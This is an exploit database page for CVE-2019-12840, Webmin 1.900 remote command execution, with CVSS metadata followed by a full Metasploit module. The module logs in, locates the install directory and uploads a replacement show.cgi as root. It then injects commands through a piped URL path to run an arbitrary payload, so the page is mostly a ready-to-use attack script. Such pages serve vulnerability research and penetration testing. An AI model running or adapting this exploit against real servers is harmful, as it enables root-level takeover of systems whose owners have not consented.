Webmin 1.900 Remote Command Execution
CVE
Category
Price
Severity
CVE-2019-12840
CWE-78
Not specified
High
Author
Risk
Exploitation Type
Date
AkkuS
High
Remote
2019-01-22
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required High PR The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files. Scope S An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019010207 Below is a copy:
Webmin 1.900 Remote Command Execution ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.900 - Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in Webmin
1.900 and lower versions. Any user authorized to the "Java file manager"
and "Upload and Download" fields, to execute arbitrary commands with root privileges.
In addition, "Running Processes" field must be authorized to discover the directory to be uploaded.
A vulnerable file can be printed on the original files of the Webmin application.
The vulberable file we are uploading should be integrated with the application.
Therefore, a ".cgi" file with the vulnerability belong to webmin application should be used.
The module has been tested successfully with Webmin 1900 over Debian 4.9.18.
},
'Author' => [
'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Webmin <= 1.900', { }]],
'DisclosureDate' => 'Jan 17 2019',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(10000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password'])
], self.class)
end
##
# Target and input verification
##
def check
peer = "#{rhost}:#{rport}"
vprint_status("Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)
if res and res.code == 302 and res.get_cookies =~ /sid/
vprint_good "Login successful"
session = res.get_cookies.split("sid=")[1].split(";")[0]
else
vprint_error "Service found, but login failed"
return Exploit::CheckCode::Detected
end
vprint_status("Attempting to execute...")
command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)
if res and res.code == 200 and res.message =~ /Document follows/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
##
# Exploiting phase
##
def exploit
peer = "#{rhost}:#{rport}"
print_status("Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)
if res and res.code == 302 and res.get_cookies =~ /sid/
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
if session and not session.empty?
print_good "Login successfully"
else
print_error "Authentication failed"
return
end
else
print_error "Authentication failed"
return
end
##
# Directory and SSL verification for referer
##
ps = "#{datastore['SSL']}"
if ps == "true"
ssl = "https://"
else
ssl = "http://"
end
print_status("Target URL => #{ssl}#{peer}")
res1 = send_request_raw(
{
'method' => "POST",
'uri' => "/proc/index_tree.cgi?",
'headers' =>
{
'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1",
},
'cookie' => "redirect=1; testing=1; sid=#{session}"
})
if res1 and res1.code == 200 and res1.body =~ /Running Processes/
print_status "Searching for directory to upload..."
stpdir = res1.body.scan(/perl.+miniserv.pl/).map{ |s| s.split("perl ").last }.map{ |d| d.split("miniserv").first }.map{ |d| d.split("miniserv").first }
dir = stpdir[0] + "file"
print_good("Directory to upload => #{dir}")
else
print_error "No access to processes or no upload directory found."
return
end
##
# Loading phase of the vulnerable file
##
boundary = Rex::Text.rand_text_alphanumeric(29)
data2 = "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
data2 << "Content-Type: application/octet-stream\r\n\r\n"
data2 << "#!/usr/local/bin/perl\n# show.cgi\n# Output some file for the browser\n\n"
data2 << "$trust_unknown_referers = 1;\nrequire './file-lib.pl';\n&ReadParse();\nuse POSIX;\n"
data2 << "$p = $ENV{'PATH_INFO'};\nif ($in{'type'}) {\n\t# Use the supplied content type\n\t"
data2 << "$type = $in{'type'};\n\t$download = 1;\n\t}\nelsif ($in{'format'} == 1) {\n\t"
data2 << "# Type comes from compression format\n\t$type = \"application/zip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 2) {\n\t$type = \"application/x-gzip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 3) {\n\t$type = \"application/x-tar\";\n\t}\nelse {\n\t"
data2 << "# Try to guess type from filename\n\t$type = &guess_mime_type($p, undef);\n\t"
data2 << "if (!$type) {\n\t\t# No idea .. use the 'file' command\n\t\t"
data2 << "$out = &backquote_command(\"file \".\n\t\t\t\t\t quotemeta(&resolve_links($p)), 1);\n\t\t"
data2 << "if ($out =~ /text|script/) {\n\t\t\t$type = \"text/plain\";\n\t\t\t}\n\t\telse {\n\t\t\t"
data2 << "$type = \"application/unknown\";\n\t\t\t}\n\t\t}\n\t}\n\n# Dump the file\n&switch_acl_uid();\n"
data2 << "$temp = &transname();\nif (!&can_access($p)) {\n\t# ACL rules prevent access to file\n\t"
data2 << "&error_exit(&text('view_eaccess', &html_escape($p)));\n\t}\n$p = &unmake_chroot($p);\n\n"
data2 << "if ($in{'format'}) {\n\t# An archive of a directory was requested .. create it\n\t"
data2 << "$archive || &error_exit($text{'view_earchive'});\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "$p =~ s/\\.zip$//;\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t$p =~ s/\\.tgz$//;\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t$p =~ s/\\.tar$//;\n\t\t}\n\t-d $p || &error_exit($text{'view_edir'}.\" \".&html_escape($p));\n\t"
data2 << "if ($archive == 2 && $archmax > 0) {\n\t\t# Check if directory is too large to archive\n\t\tlocal $kb = &disk_usage_kb($p);\n\t\t"
data2 << "if ($kb*1024 > $archmax) {\n\t\t\t&error_exit(&text('view_earchmax', $archmax));\n\t\t\t}\n\t\t}\n\n\t"
data2 << "# Work out the base directory and filename\n\tif ($p =~ /^(.*\\/)([^\\/]+)$/) {\n\t\t$pdir = $1;\n\t\t"
data2 << "$pfile = $2;\n\t\t}\n\telse {\n\t\t$pdir = \"/\";\n\t\t$pfile = $p;\n\t\t}\n\n\t"
data2 << "# Work out the command to run\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "&has_command(\"zip\") || &error_exit(&text('view_ecmd', \"zip\"));\n\t\t"
data2 << "$cmd = \"zip -r $temp \".quotemeta($pfile);\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t"
data2 << "&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "&has_command(\"gzip\") || &error_exit(&text('view_ecmd', \"gzip\"));\n\t\t"
data2 << "$cmd = \"tar cf - \".quotemeta($pfile).\" | gzip -c >$temp\";\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "$cmd = \"tar cf $temp \".quotemeta($pfile);\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\t&ok_exit();\n\t\t}\n\n\t"
data2 << "# Run the command, and send back the resulting file\n\tlocal $qpdir = quotemeta($pdir);\n\t"
data2 << "local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\n\tif ($?) {\n\t\tunlink($temp);\n\t\t"
data2 << "&error_exit(&text('view_ecomp', &html_escape($out)));\n\t\t}\n\tlocal @st = stat($temp);\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-type: $type\\n\\n\";\n\t"
data2 << "open(FILE, $temp);\n\tunlink($temp);\n\twhile(read(FILE, $buf, 1024)) {\n\t\tprint $buf;\n\t\t}\n\t"
data2 << "close(FILE);\n\t}\nelse {\n\tif (!open(FILE, $p)) {\n\t\t# Unix permissions prevent access\n\t\t"
data2 << "&error_exit(&text('view_eopen', $p, $!));\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\tclose(FILE);\n\t\t"
data2 << "&ok_exit();\n\t\t}\n\n\t@st = stat($p);\n\tprint \"X-no-links: 1\\n\";\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-Disposition: Attachment\\n\" if ($download);\n\t"
data2 << "print \"Content-type: $type\\n\\n\";\n\tif ($type =~ /^text\\/html/i && !$in{'edit'}) {\n\t\t"
data2 << "while(read(FILE, $buf, 1024)) {\n\t\t\t$data .= $buf;\n\t\t\t}\n\t\tprint &filter_javascript($data);\n\t\t"
data2 << "}\n\telse {\n\t\twhile(read(FILE, $buf, 1024)) {\n\t\t\tprint $buf;\n\t\t\t}\n\t\t}\n\tclose(FILE);\n\t}\n\n"
data2 << "sub error_exit\n{\nprint \"Content-type: text/plain\\n\";\n"
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
data2 << "\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n"
data2 << "-----------------------------{boundary}--\r\n"
res2 = send_request_raw(
{
'method' => "POST",
'uri' => "/updown/upload.cgi?id=154739243511",
'data' => data2,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1",
},
'cookie' => "redirect=1; testing=1; sid=#{session}"
})
if res2 and res2.code == 200 and res2.body =~ /Saving file/
print_good "Vulnerable show.cgi file was successfully uploaded."
else
print_error "Upload failed."
return
end
##
# Command execution and shell retrieval
##
print_status("Attempting to execute the payload...")
command = payload.encoded
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)
if res and res.code == 200 and res.message =~ /Document follows/
print_good "Payload executed successfully"
else
print_error "Error executing the payload"
return
end
end
end
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